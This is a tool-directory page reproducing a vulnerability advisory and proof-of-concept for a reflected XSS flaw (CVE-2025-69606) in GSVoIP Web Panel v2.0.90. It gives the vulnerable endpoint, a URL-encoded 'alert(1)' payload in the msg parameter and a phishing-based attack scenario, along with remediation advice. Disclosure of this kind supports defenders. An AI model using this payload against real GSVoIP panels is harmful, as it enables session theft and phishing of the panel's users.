Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-69606-GSVoIP-XSS — Proof-of-concept for a reflected XSS vulnerability (CVE-2025-69606) in GSVoIP Web Panel v2.0.90, demonstrating unauthenticated arbitrary JavaScript execution via the msg parameter. | Kitploit
Tools/GitHubGitHub/razielx64/cve-2025-69606-gsvoip-xss
Vulnerability AnalysisWeb Application ExploitationPhishingWeb SecuritySocial EngineeringLearning & Education
GitHubrazielx64/cve-2025-69606-gsvoip-xss

CVE-2025-69606-GSVoIP-XSS

Proof-of-concept for a reflected XSS vulnerability (CVE-2025-69606) in GSVoIP Web Panel v2.0.90, demonstrating unauthenticated arbitrary JavaScript execution via the msg parameter.

View Repository
54 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-69606 — Reflected XSS in GSVoIP Web Panel

Severity: Medium  |  CWE: CWE-79  |  Auth Required: No  |  Vector: Remote


Summary

A Reflected Cross-Site Scripting (XSS) vulnerability was identified in the GSVoIP Web Panel (v2.0.90). The msg parameter of the error endpoint does not sanitize user-controlled input before reflecting it in the HTML response, allowing arbitrary JavaScript execution in the victim's browser.


Affected Product

FieldDetails
ProductGSVoIP Web Panel
Version2.0.90 (likely earlier versions)
VendorSolutions VoIP (GS Solutions)
CWECWE-79 — Cross-Site Scripting
Attack VectorRemote / Network
AuthenticationNot required

Vulnerable Endpoint

root@kitploit:~
GET /painel/gateways.php/error?msg=<payload>

The msg parameter is reflected directly in the HTML response without sanitization or output encoding.


Proof of Concept

Payload

root@kitploit:~
https://{TARGET}/painel/gateways.php/error?msg=%3Cscript%3Ealert(1)%3C%2Fscript%3E

Decoded:

root@kitploit:~
<script>alert(1)</script>

Result

When the crafted URL is accessed, the injected payload executes in the victim's browser:

root@kitploit:~
alert(1)

Attack Scenario

  1. The attacker crafts a malicious URL containing the XSS payload in the msg parameter.
  2. The victim is tricked into clicking the link (via phishing, social engineering, etc.).
  3. The page loads and the injected JavaScript executes in the victim's browser context — no authentication required.

Impact

  • Arbitrary JavaScript execution in the victim's browser
  • Session hijacking via cookie theft
  • Phishing and social engineering attacks
  • Sensitive data exfiltration
  • Content defacement within the application context

Recommendations

  • Output encoding: Encode all user-supplied input before rendering it in HTML responses (HTML entity encoding at minimum).
  • Secure templating: Use a templating engine with auto-escaping enabled.
  • Content Security Policy (CSP): Implement a strict CSP with restrictive script-src directives.
  • Input validation: Reject or strip parameters containing HTML tags or script sequences at the input layer.

Disclosure Timeline

StepEvent
1Vulnerability discovered and reported by Luiz Eduardo
2CVE assigned: CVE-2025-69606
3Public disclosure

Credits

Discovered and reported by Luiz Eduardo


CVE-2025-69606 · CWE-79 · GSVoIP Web Panel v2.0.90

Download Tool